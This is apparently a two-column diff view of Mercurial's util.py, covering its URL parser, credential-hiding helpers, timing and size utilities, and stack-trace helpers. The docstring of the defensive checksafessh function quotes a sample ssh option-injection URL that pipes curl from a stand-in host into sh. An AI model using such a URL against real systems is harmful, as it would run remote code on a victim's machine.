2691 _hextochr = dict((a + b, chr(int(a + b, 16)))
2690 for a in string.hexdigits for b in string.hexdigits)
2692 for a in string.hexdigits for b in string.hexdigits)
2691
2693
2692 class url(object):
2694 class url(object):
2693 r"""Reliable URL parser.
2695 r"""Reliable URL parser.
2694
2696
2695 This parses URLs and provides attributes for the following
2697 This parses URLs and provides attributes for the following
2696 components:
2698 components:
2697
2699
2698 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2700 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2699
2701
2700 Missing components are set to None. The only exception is
2702 Missing components are set to None. The only exception is
2701 fragment, which is set to '' if present but empty.
2703 fragment, which is set to '' if present but empty.
2702
2704
2703 If parsefragment is False, fragment is included in query. If
2705 If parsefragment is False, fragment is included in query. If
2704 parsequery is False, query is included in path. If both are
2706 parsequery is False, query is included in path. If both are
2705 False, both fragment and query are included in path.
2707 False, both fragment and query are included in path.
2706
2708
2707 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2709 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2708
2710
2709 Note that for backward compatibility reasons, bundle URLs do not
2711 Note that for backward compatibility reasons, bundle URLs do not
2710 take host names. That means 'bundle://../' has a path of '../'.
2712 take host names. That means 'bundle://../' has a path of '../'.
2711
2713
2712 Examples:
2714 Examples:
2713
2715
2714 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2716 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2715 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2717 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2716 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2718 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2717 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2719 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2718 >>> url(b'file:///home/joe/repo')
2720 >>> url(b'file:///home/joe/repo')
2719 <url scheme: 'file', path: '/home/joe/repo'>
2721 <url scheme: 'file', path: '/home/joe/repo'>
2720 >>> url(b'file:///c:/temp/foo/')
2722 >>> url(b'file:///c:/temp/foo/')
2721 <url scheme: 'file', path: 'c:/temp/foo/'>
2723 <url scheme: 'file', path: 'c:/temp/foo/'>
2722 >>> url(b'bundle:foo')
2724 >>> url(b'bundle:foo')
2723 <url scheme: 'bundle', path: 'foo'>
2725 <url scheme: 'bundle', path: 'foo'>
2724 >>> url(b'bundle://../foo')
2726 >>> url(b'bundle://../foo')
2725 <url scheme: 'bundle', path: '../foo'>
2727 <url scheme: 'bundle', path: '../foo'>
2726 >>> url(br'c:\foo\bar')
2728 >>> url(br'c:\foo\bar')
2727 <url path: 'c:\\foo\\bar'>
2729 <url path: 'c:\\foo\\bar'>
2728 >>> url(br'\\blah\blah\blah')
2730 >>> url(br'\\blah\blah\blah')
2729 <url path: '\\\\blah\\blah\\blah'>
2731 <url path: '\\\\blah\\blah\\blah'>
2730 >>> url(br'\\blah\blah\blah#baz')
2732 >>> url(br'\\blah\blah\blah#baz')
2731 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2733 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2732 >>> url(br'file:///C:\users\me')
2734 >>> url(br'file:///C:\users\me')
2733 <url scheme: 'file', path: 'C:\\users\\me'>
2735 <url scheme: 'file', path: 'C:\\users\\me'>
2734
2736
2735 Authentication credentials:
2737 Authentication credentials:
2736
2738
2737 >>> url(b'ssh://joe:xyz@x/repo')
2739 >>> url(b'ssh://joe:xyz@x/repo')
2738 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2740 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2739 >>> url(b'ssh://joe@x/repo')
2741 >>> url(b'ssh://joe@x/repo')
2740 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2742 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2741
2743
2742 Query strings and fragments:
2744 Query strings and fragments:
2743
2745
2744 >>> url(b'http://host/a?b#c')
2746 >>> url(b'http://host/a?b#c')
2745 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2747 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2746 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2748 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2747 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2749 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2748
2750
2749 Empty path:
2751 Empty path:
2750
2752
2751 >>> url(b'')
2753 >>> url(b'')
2752 <url path: ''>
2754 <url path: ''>
2753 >>> url(b'#a')
2755 >>> url(b'#a')
2754 <url path: '', fragment: 'a'>
2756 <url path: '', fragment: 'a'>
2755 >>> url(b'http://host/')
2757 >>> url(b'http://host/')
2756 <url scheme: 'http', host: 'host', path: ''>
2758 <url scheme: 'http', host: 'host', path: ''>
2757 >>> url(b'http://host/#a')
2759 >>> url(b'http://host/#a')
2758 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2760 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2759
2761
2760 Only scheme:
2762 Only scheme:
2761
2763
2762 >>> url(b'http:')
2764 >>> url(b'http:')
2763 <url scheme: 'http'>
2765 <url scheme: 'http'>
2764 """
2766 """
2765
2767
2766 _safechars = "!~*'()+"
2768 _safechars = "!~*'()+"
2767 _safepchars = "/!~*'()+:\\"
2769 _safepchars = "/!~*'()+:\\"
2768 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2770 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2769
2771
2770 def __init__(self, path, parsequery=True, parsefragment=True):
2772 def __init__(self, path, parsequery=True, parsefragment=True):
2771 # We slowly chomp away at path until we have only the path left
2773 # We slowly chomp away at path until we have only the path left
2772 self.scheme = self.user = self.passwd = self.host = None
2774 self.scheme = self.user = self.passwd = self.host = None
2773 self.port = self.path = self.query = self.fragment = None
2775 self.port = self.path = self.query = self.fragment = None
2774 self._localpath = True
2776 self._localpath = True
2775 self._hostport = ''
2777 self._hostport = ''
2776 self._origpath = path
2778 self._origpath = path
2777
2779
2778 if parsefragment and '#' in path:
2780 if parsefragment and '#' in path:
2779 path, self.fragment = path.split('#', 1)
2781 path, self.fragment = path.split('#', 1)
2780
2782
2781 # special case for Windows drive letters and UNC paths
2783 # special case for Windows drive letters and UNC paths
2782 if hasdriveletter(path) or path.startswith('\\\\'):
2784 if hasdriveletter(path) or path.startswith('\\\\'):
2783 self.path = path
2785 self.path = path
2784 return
2786 return
2785
2787
2786 # For compatibility reasons, we can't handle bundle paths as
2788 # For compatibility reasons, we can't handle bundle paths as
2787 # normal URLS
2789 # normal URLS
2788 if path.startswith('bundle:'):
2790 if path.startswith('bundle:'):
2789 self.scheme = 'bundle'
2791 self.scheme = 'bundle'
2790 path = path[7:]
2792 path = path[7:]
2791 if path.startswith('//'):
2793 if path.startswith('//'):
2792 path = path[2:]
2794 path = path[2:]
2793 self.path = path
2795 self.path = path
2794 return
2796 return
2795
2797
2796 if self._matchscheme(path):
2798 if self._matchscheme(path):
2797 parts = path.split(':', 1)
2799 parts = path.split(':', 1)
2798 if parts[0]:
2800 if parts[0]:
2799 self.scheme, path = parts
2801 self.scheme, path = parts
2800 self._localpath = False
2802 self._localpath = False
2801
2803
2802 if not path:
2804 if not path:
2803 path = None
2805 path = None
2804 if self._localpath:
2806 if self._localpath:
2805 self.path = ''
2807 self.path = ''
2806 return
2808 return
2807 else:
2809 else:
2808 if self._localpath:
2810 if self._localpath:
2809 self.path = path
2811 self.path = path
2810 return
2812 return
2811
2813
2812 if parsequery and '?' in path:
2814 if parsequery and '?' in path:
2813 path, self.query = path.split('?', 1)
2815 path, self.query = path.split('?', 1)
2814 if not path:
2816 if not path:
2815 path = None
2817 path = None
2816 if not self.query:
2818 if not self.query:
2817 self.query = None
2819 self.query = None
2818
2820
2819 # // is required to specify a host/authority
2821 # // is required to specify a host/authority
2820 if path and path.startswith('//'):
2822 if path and path.startswith('//'):
2821 parts = path[2:].split('/', 1)
2823 parts = path[2:].split('/', 1)
2822 if len(parts) > 1:
2824 if len(parts) > 1:
2823 self.host, path = parts
2825 self.host, path = parts
2824 else:
2826 else:
2825 self.host = parts[0]
2827 self.host = parts[0]
2826 path = None
2828 path = None
2827 if not self.host:
2829 if not self.host:
2828 self.host = None
2830 self.host = None
2829 # path of file:///d is /d
2831 # path of file:///d is /d
2830 # path of file:///d:/ is d:/, not /d:/
2832 # path of file:///d:/ is d:/, not /d:/
2831 if path and not hasdriveletter(path):
2833 if path and not hasdriveletter(path):
2832 path = '/' + path
2834 path = '/' + path
2833
2835
2834 if self.host and '@' in self.host:
2836 if self.host and '@' in self.host:
2835 self.user, self.host = self.host.rsplit('@', 1)
2837 self.user, self.host = self.host.rsplit('@', 1)
2836 if ':' in self.user:
2838 if ':' in self.user:
2837 self.user, self.passwd = self.user.split(':', 1)
2839 self.user, self.passwd = self.user.split(':', 1)
2838 if not self.host:
2840 if not self.host:
2839 self.host = None
2841 self.host = None
2840
2842
2841 # Don't split on colons in IPv6 addresses without ports
2843 # Don't split on colons in IPv6 addresses without ports
2842 if (self.host and ':' in self.host and
2844 if (self.host and ':' in self.host and
2843 not (self.host.startswith('[') and self.host.endswith(']'))):
2845 not (self.host.startswith('[') and self.host.endswith(']'))):
2844 self._hostport = self.host
2846 self._hostport = self.host
2845 self.host, self.port = self.host.rsplit(':', 1)
2847 self.host, self.port = self.host.rsplit(':', 1)
2846 if not self.host:
2848 if not self.host:
2847 self.host = None
2849 self.host = None
2848
2850
2849 if (self.host and self.scheme == 'file' and
2851 if (self.host and self.scheme == 'file' and
2850 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2852 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2851 raise Abort(_('file:// URLs can only refer to localhost'))
2853 raise Abort(_('file:// URLs can only refer to localhost'))
2852
2854
2853 self.path = path
2855 self.path = path
2854
2856
2855 # leave the query string escaped
2857 # leave the query string escaped
2856 for a in ('user', 'passwd', 'host', 'port',
2858 for a in ('user', 'passwd', 'host', 'port',
2857 'path', 'fragment'):
2859 'path', 'fragment'):
2858 v = getattr(self, a)
2860 v = getattr(self, a)
2859 if v is not None:
2861 if v is not None:
2860 setattr(self, a, urlreq.unquote(v))
2862 setattr(self, a, urlreq.unquote(v))
2861
2863
2862 @encoding.strmethod
2864 @encoding.strmethod
2863 def __repr__(self):
2865 def __repr__(self):
2864 attrs = []
2866 attrs = []
2865 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2867 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2866 'query', 'fragment'):
2868 'query', 'fragment'):
2867 v = getattr(self, a)
2869 v = getattr(self, a)
2868 if v is not None:
2870 if v is not None:
2869 attrs.append('%s: %r' % (a, v))
2871 attrs.append('%s: %r' % (a, v))
2870 return '<url %s>' % ', '.join(attrs)
2872 return '<url %s>' % ', '.join(attrs)
2871
2873
2872 def __bytes__(self):
2874 def __bytes__(self):
2873 r"""Join the URL's components back into a URL string.
2875 r"""Join the URL's components back into a URL string.
2874
2876
2875 Examples:
2877 Examples:
2876
2878
2877 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2879 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2878 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2880 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2879 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2881 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2880 'http://user:pw@host:80/?foo=bar&baz=42'
2882 'http://user:pw@host:80/?foo=bar&baz=42'
2881 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2883 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2882 'http://user:pw@host:80/?foo=bar%3dbaz'
2884 'http://user:pw@host:80/?foo=bar%3dbaz'
2883 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2885 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2884 'ssh://user:pw@[::1]:2200//home/joe#'
2886 'ssh://user:pw@[::1]:2200//home/joe#'
2885 >>> bytes(url(b'http://localhost:80//'))
2887 >>> bytes(url(b'http://localhost:80//'))
2886 'http://localhost:80//'
2888 'http://localhost:80//'
2887 >>> bytes(url(b'http://localhost:80/'))
2889 >>> bytes(url(b'http://localhost:80/'))
2888 'http://localhost:80/'
2890 'http://localhost:80/'
2889 >>> bytes(url(b'http://localhost:80'))
2891 >>> bytes(url(b'http://localhost:80'))
2890 'http://localhost:80/'
2892 'http://localhost:80/'
2891 >>> bytes(url(b'bundle:foo'))
2893 >>> bytes(url(b'bundle:foo'))
2892 'bundle:foo'
2894 'bundle:foo'
2893 >>> bytes(url(b'bundle://../foo'))
2895 >>> bytes(url(b'bundle://../foo'))
2894 'bundle:../foo'
2896 'bundle:../foo'
2895 >>> bytes(url(b'path'))
2897 >>> bytes(url(b'path'))
2896 'path'
2898 'path'
2897 >>> bytes(url(b'file:///tmp/foo/bar'))
2899 >>> bytes(url(b'file:///tmp/foo/bar'))
2898 'file:///tmp/foo/bar'
2900 'file:///tmp/foo/bar'
2899 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2901 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2900 'file:///c:/tmp/foo/bar'
2902 'file:///c:/tmp/foo/bar'
2901 >>> print(url(br'bundle:foo\bar'))
2903 >>> print(url(br'bundle:foo\bar'))
2902 bundle:foo\bar
2904 bundle:foo\bar
2903 >>> print(url(br'file:///D:\data\hg'))
2905 >>> print(url(br'file:///D:\data\hg'))
2904 file:///D:\data\hg
2906 file:///D:\data\hg
2905 """
2907 """
2906 if self._localpath:
2908 if self._localpath:
2907 s = self.path
2909 s = self.path
2908 if self.scheme == 'bundle':
2910 if self.scheme == 'bundle':
2909 s = 'bundle:' + s
2911 s = 'bundle:' + s
2910 if self.fragment:
2912 if self.fragment:
2911 s += '#' + self.fragment
2913 s += '#' + self.fragment
2912 return s
2914 return s
2913
2915
2914 s = self.scheme + ':'
2916 s = self.scheme + ':'
2915 if self.user or self.passwd or self.host:
2917 if self.user or self.passwd or self.host:
2916 s += '//'
2918 s += '//'
2917 elif self.scheme and (not self.path or self.path.startswith('/')
2919 elif self.scheme and (not self.path or self.path.startswith('/')
2918 or hasdriveletter(self.path)):
2920 or hasdriveletter(self.path)):
2919 s += '//'
2921 s += '//'
2920 if hasdriveletter(self.path):
2922 if hasdriveletter(self.path):
2921 s += '/'
2923 s += '/'
2922 if self.user:
2924 if self.user:
2923 s += urlreq.quote(self.user, safe=self._safechars)
2925 s += urlreq.quote(self.user, safe=self._safechars)
2924 if self.passwd:
2926 if self.passwd:
2925 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2927 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2926 if self.user or self.passwd:
2928 if self.user or self.passwd:
2927 s += '@'
2929 s += '@'
2928 if self.host:
2930 if self.host:
2929 if not (self.host.startswith('[') and self.host.endswith(']')):
2931 if not (self.host.startswith('[') and self.host.endswith(']')):
2930 s += urlreq.quote(self.host)
2932 s += urlreq.quote(self.host)
2931 else:
2933 else:
2932 s += self.host
2934 s += self.host
2933 if self.port:
2935 if self.port:
2934 s += ':' + urlreq.quote(self.port)
2936 s += ':' + urlreq.quote(self.port)
2935 if self.host:
2937 if self.host:
2936 s += '/'
2938 s += '/'
2937 if self.path:
2939 if self.path:
2938 # TODO: similar to the query string, we should not unescape the
2940 # TODO: similar to the query string, we should not unescape the
2939 # path when we store it, the path might contain '%2f' = '/',
2941 # path when we store it, the path might contain '%2f' = '/',
2940 # which we should *not* escape.
2942 # which we should *not* escape.
2941 s += urlreq.quote(self.path, safe=self._safepchars)
2943 s += urlreq.quote(self.path, safe=self._safepchars)
2942 if self.query:
2944 if self.query:
2943 # we store the query in escaped form.
2945 # we store the query in escaped form.
2944 s += '?' + self.query
2946 s += '?' + self.query
2945 if self.fragment is not None:
2947 if self.fragment is not None:
2946 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2948 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2947 return s
2949 return s
2948
2950
2949 __str__ = encoding.strmethod(__bytes__)
2951 __str__ = encoding.strmethod(__bytes__)
2950
2952
2951 def authinfo(self):
2953 def authinfo(self):
2952 user, passwd = self.user, self.passwd
2954 user, passwd = self.user, self.passwd
2953 try:
2955 try:
2954 self.user, self.passwd = None, None
2956 self.user, self.passwd = None, None
2955 s = bytes(self)
2957 s = bytes(self)
2956 finally:
2958 finally:
2957 self.user, self.passwd = user, passwd
2959 self.user, self.passwd = user, passwd
2958 if not self.user:
2960 if not self.user:
2959 return (s, None)
2961 return (s, None)
2960 # authinfo[1] is passed to urllib2 password manager, and its
2962 # authinfo[1] is passed to urllib2 password manager, and its
2961 # URIs must not contain credentials. The host is passed in the
2963 # URIs must not contain credentials. The host is passed in the
2962 # URIs list because Python < 2.4.3 uses only that to search for
2964 # URIs list because Python < 2.4.3 uses only that to search for
2963 # a password.
2965 # a password.
2964 return (s, (None, (s, self.host),
2966 return (s, (None, (s, self.host),
2965 self.user, self.passwd or ''))
2967 self.user, self.passwd or ''))
2966
2968
2967 def isabs(self):
2969 def isabs(self):
2968 if self.scheme and self.scheme != 'file':
2970 if self.scheme and self.scheme != 'file':
2969 return True # remote URL
2971 return True # remote URL
2970 if hasdriveletter(self.path):
2972 if hasdriveletter(self.path):
2971 return True # absolute for our purposes - can't be joined()
2973 return True # absolute for our purposes - can't be joined()
2972 if self.path.startswith(br'\\'):
2974 if self.path.startswith(br'\\'):
2973 return True # Windows UNC path
2975 return True # Windows UNC path
2974 if self.path.startswith('/'):
2976 if self.path.startswith('/'):
2975 return True # POSIX-style
2977 return True # POSIX-style
2976 return False
2978 return False
2977
2979
2978 def localpath(self):
2980 def localpath(self):
2979 if self.scheme == 'file' or self.scheme == 'bundle':
2981 if self.scheme == 'file' or self.scheme == 'bundle':
2980 path = self.path or '/'
2982 path = self.path or '/'
2981 # For Windows, we need to promote hosts containing drive
2983 # For Windows, we need to promote hosts containing drive
2982 # letters to paths with drive letters.
2984 # letters to paths with drive letters.
2983 if hasdriveletter(self._hostport):
2985 if hasdriveletter(self._hostport):
2984 path = self._hostport + '/' + self.path
2986 path = self._hostport + '/' + self.path
2985 elif (self.host is not None and self.path
2987 elif (self.host is not None and self.path
2986 and not hasdriveletter(path)):
2988 and not hasdriveletter(path)):
2987 path = '/' + path
2989 path = '/' + path
2988 return path
2990 return path
2989 return self._origpath
2991 return self._origpath
2990
2992
2991 def islocal(self):
2993 def islocal(self):
2992 '''whether localpath will return something that posixfile can open'''
2994 '''whether localpath will return something that posixfile can open'''
2993 return (not self.scheme or self.scheme == 'file'
2995 return (not self.scheme or self.scheme == 'file'
2994 or self.scheme == 'bundle')
2996 or self.scheme == 'bundle')
2995
2997
2996 def hasscheme(path):
2998 def hasscheme(path):
2997 return bool(url(path).scheme)
2999 return bool(url(path).scheme)
2998
3000
2999 def hasdriveletter(path):
3001 def hasdriveletter(path):
3000 return path and path[1:2] == ':' and path[0:1].isalpha()
3002 return path and path[1:2] == ':' and path[0:1].isalpha()
3001
3003
3002 def urllocalpath(path):
3004 def urllocalpath(path):
3003 return url(path, parsequery=False, parsefragment=False).localpath()
3005 return url(path, parsequery=False, parsefragment=False).localpath()
3004
3006
3005 def checksafessh(path):
3007 def checksafessh(path):
3006 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3008 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3007
3009
3008 This is a sanity check for ssh urls. ssh will parse the first item as
3010 This is a sanity check for ssh urls. ssh will parse the first item as
3009 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3011 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3010 Let's prevent these potentially exploited urls entirely and warn the
3012 Let's prevent these potentially exploited urls entirely and warn the
3011 user.
3013 user.
3012
3014
3013 Raises an error.Abort when the url is unsafe.
3015 Raises an error.Abort when the url is unsafe.
3014 """
3016 """
3015 path = urlreq.unquote(path)
3017 path = urlreq.unquote(path)
3016 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3018 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3017 raise error.Abort(_('potentially unsafe url: %r') %
3019 raise error.Abort(_('potentially unsafe url: %r') %
3018 (path,))
3020 (path,))
3019
3021
3020 def hidepassword(u):
3022 def hidepassword(u):
3021 '''hide user credential in a url string'''
3023 '''hide user credential in a url string'''
3022 u = url(u)
3024 u = url(u)
3023 if u.passwd:
3025 if u.passwd:
3024 u.passwd = '***'
3026 u.passwd = '***'
3025 return bytes(u)
3027 return bytes(u)
3026
3028
3027 def removeauth(u):
3029 def removeauth(u):
3028 '''remove all authentication information from a url string'''
3030 '''remove all authentication information from a url string'''
3029 u = url(u)
3031 u = url(u)
3030 u.user = u.passwd = None
3032 u.user = u.passwd = None
3031 return str(u)
3033 return str(u)
3032
3034
3033 timecount = unitcountfn(
3035 timecount = unitcountfn(
3034 (1, 1e3, _('%.0f s')),
3036 (1, 1e3, _('%.0f s')),
3035 (100, 1, _('%.1f s')),
3037 (100, 1, _('%.1f s')),
3036 (10, 1, _('%.2f s')),
3038 (10, 1, _('%.2f s')),
3037 (1, 1, _('%.3f s')),
3039 (1, 1, _('%.3f s')),
3038 (100, 0.001, _('%.1f ms')),
3040 (100, 0.001, _('%.1f ms')),
3039 (10, 0.001, _('%.2f ms')),
3041 (10, 0.001, _('%.2f ms')),
3040 (1, 0.001, _('%.3f ms')),
3042 (1, 0.001, _('%.3f ms')),
3041 (100, 0.000001, _('%.1f us')),
3043 (100, 0.000001, _('%.1f us')),
3042 (10, 0.000001, _('%.2f us')),
3044 (10, 0.000001, _('%.2f us')),
3043 (1, 0.000001, _('%.3f us')),
3045 (1, 0.000001, _('%.3f us')),
3044 (100, 0.000000001, _('%.1f ns')),
3046 (100, 0.000000001, _('%.1f ns')),
3045 (10, 0.000000001, _('%.2f ns')),
3047 (10, 0.000000001, _('%.2f ns')),
3046 (1, 0.000000001, _('%.3f ns')),
3048 (1, 0.000000001, _('%.3f ns')),
3047 )
3049 )
3048
3050
3049 _timenesting = [0]
3051 _timenesting = [0]
3050
3052
3051 def timed(func):
3053 def timed(func):
3052 '''Report the execution time of a function call to stderr.
3054 '''Report the execution time of a function call to stderr.
3053
3055
3054 During development, use as a decorator when you need to measure
3056 During development, use as a decorator when you need to measure
3055 the cost of a function, e.g. as follows:
3057 the cost of a function, e.g. as follows:
3056
3058
3057 @util.timed
3059 @util.timed
3058 def foo(a, b, c):
3060 def foo(a, b, c):
3059 pass
3061 pass
3060 '''
3062 '''
3061
3063
3062 def wrapper(*args, **kwargs):
3064 def wrapper(*args, **kwargs):
3063 start = timer()
3065 start = timer()
3064 indent = 2
3066 indent = 2
3065 _timenesting[0] += indent
3067 _timenesting[0] += indent
3066 try:
3068 try:
3067 return func(*args, **kwargs)
3069 return func(*args, **kwargs)
3068 finally:
3070 finally:
3069 elapsed = timer() - start
3071 elapsed = timer() - start
3070 _timenesting[0] -= indent
3072 _timenesting[0] -= indent
3071 stderr.write('%s%s: %s\n' %
3073 stderr.write('%s%s: %s\n' %
3072 (' ' * _timenesting[0], func.__name__,
3074 (' ' * _timenesting[0], func.__name__,
3073 timecount(elapsed)))
3075 timecount(elapsed)))
3074 return wrapper
3076 return wrapper
3075
3077
3076 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3078 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3077 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3079 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3078
3080
3079 def sizetoint(s):
3081 def sizetoint(s):
3080 '''Convert a space specifier to a byte count.
3082 '''Convert a space specifier to a byte count.
3081
3083
3082 >>> sizetoint(b'30')
3084 >>> sizetoint(b'30')
3083 30
3085 30
3084 >>> sizetoint(b'2.2kb')
3086 >>> sizetoint(b'2.2kb')
3085 2252
3087 2252
3086 >>> sizetoint(b'6M')
3088 >>> sizetoint(b'6M')
3087 6291456
3089 6291456
3088 '''
3090 '''
3089 t = s.strip().lower()
3091 t = s.strip().lower()
3090 try:
3092 try:
3091 for k, u in _sizeunits:
3093 for k, u in _sizeunits:
3092 if t.endswith(k):
3094 if t.endswith(k):
3093 return int(float(t[:-len(k)]) * u)
3095 return int(float(t[:-len(k)]) * u)
3094 return int(t)
3096 return int(t)
3095 except ValueError:
3097 except ValueError:
3096 raise error.ParseError(_("couldn't parse size: %s") % s)
3098 raise error.ParseError(_("couldn't parse size: %s") % s)
3097
3099
3098 class hooks(object):
3100 class hooks(object):
3099 '''A collection of hook functions that can be used to extend a
3101 '''A collection of hook functions that can be used to extend a
3100 function's behavior. Hooks are called in lexicographic order,
3102 function's behavior. Hooks are called in lexicographic order,
3101 based on the names of their sources.'''
3103 based on the names of their sources.'''
3102
3104
3103 def __init__(self):
3105 def __init__(self):
3104 self._hooks = []
3106 self._hooks = []
3105
3107
3106 def add(self, source, hook):
3108 def add(self, source, hook):
3107 self._hooks.append((source, hook))
3109 self._hooks.append((source, hook))
3108
3110
3109 def __call__(self, *args):
3111 def __call__(self, *args):
3110 self._hooks.sort(key=lambda x: x[0])
3112 self._hooks.sort(key=lambda x: x[0])
3111 results = []
3113 results = []
3112 for source, hook in self._hooks:
3114 for source, hook in self._hooks:
3113 results.append(hook(*args))
3115 results.append(hook(*args))
3114 return results
3116 return results
3115
3117
3116 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3118 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3117 '''Yields lines for a nicely formatted stacktrace.
3119 '''Yields lines for a nicely formatted stacktrace.
3118 Skips the 'skip' last entries, then return the last 'depth' entries.
3120 Skips the 'skip' last entries, then return the last 'depth' entries.
3119 Each file+linenumber is formatted according to fileline.
3121 Each file+linenumber is formatted according to fileline.
3120 Each line is formatted according to line.
3122 Each line is formatted according to line.
3121 If line is None, it yields:
3123 If line is None, it yields:
3122 length of longest filepath+line number,
3124 length of longest filepath+line number,
3123 filepath+linenumber,
3125 filepath+linenumber,
3124 function
3126 function
3125
3127
3126 Not be used in production code but very convenient while developing.
3128 Not be used in production code but very convenient while developing.
3127 '''
3129 '''
3128 entries = [(fileline % (fn, ln), func)
3130 entries = [(fileline % (fn, ln), func)
3129 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3131 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3130 ][-depth:]
3132 ][-depth:]
3131 if entries:
3133 if entries:
3132 fnmax = max(len(entry[0]) for entry in entries)
3134 fnmax = max(len(entry[0]) for entry in entries)
3133 for fnln, func in entries:
3135 for fnln, func in entries:
3134 if line is None:
3136 if line is None:
3135 yield (fnmax, fnln, func)
3137 yield (fnmax, fnln, func)
3136 else:
3138 else:
3137 yield line % (fnmax, fnln, func)
3139 yield line % (fnmax, fnln, func)
3138
3140
3139 def debugstacktrace(msg='stacktrace', skip=0,
3141 def debugstacktrace(msg='stacktrace', skip=0,
3140 f=stderr, otherf=stdout, depth=0):
3142 f=stderr, otherf=stdout, depth=0):
3141 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3143 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3142 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3144 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3143 By default it will flush stdout first.
3145 By default it will flush stdout first.
3144 It can be used everywhere and intentionally does not require an ui object.
3146 It can be used everywhere and intentionally does not require an ui object.
3145 Not be used in production code but very convenient while developing.
3147 Not be used in production code but very convenient while developing.
3146 '''
3148 '''
3147 if otherf:
3149 if otherf:
3148 otherf.flush()
3150 otherf.flush()
3149 f.write('%s at:\n' % msg.rstrip())
3151 f.write('%s at:\n' % msg.rstrip())
3150 for line in getstackframes(skip + 1, depth=depth):
3152 for line in getstackframes(skip + 1, depth=depth):
3151 f.write(line)
3153 f.write(line)
3152 f.flush()
3154 f.flush()
3153
3155
3154 class dirs(object):
3156 class dirs(object):
3155 '''a multiset of directory names from a dirstate or manifest'''
3157 '''a multiset of directory names from a dirstate or manifest'''
3156
3158
3157 def __init__(self, map, skip=None):
3159 def __init__(self, map, skip=None):
3158 self._dirs = {}
3160 self._dirs = {}
3159 addpath = self.addpath
3161 addpath = self.addpath
3160 if safehasattr(map, 'iteritems') and skip is not None:
3162 if safehasattr(map, 'iteritems') and skip is not None:
3161 for f, s in map.iteritems():
3163 for f, s in map.iteritems():
3162 if s[0] != skip:
3164 if s[0] != skip:
3163 addpath(f)
3165 addpath(f)
3164 else:
3166 else:
3165 for f in map:
3167 for f in map:
3166 addpath(f)
3168 addpath(f)
3167
3169
3168 def addpath(self, path):
3170 def addpath(self, path):
3169 dirs = self._dirs
3171 dirs = self._dirs
3170 for base in finddirs(path):
3172 for base in finddirs(path):
3171 if base in dirs:
3173 if base in dirs:
3172 dirs[base] += 1
3174 dirs[base] += 1
3173 return
3175 return
3174 dirs[base] = 1
3176 dirs[base] = 1
3175
3177
3176 def delpath(self, path):
3178 def delpath(self, path):
3177 dirs = self._dirs
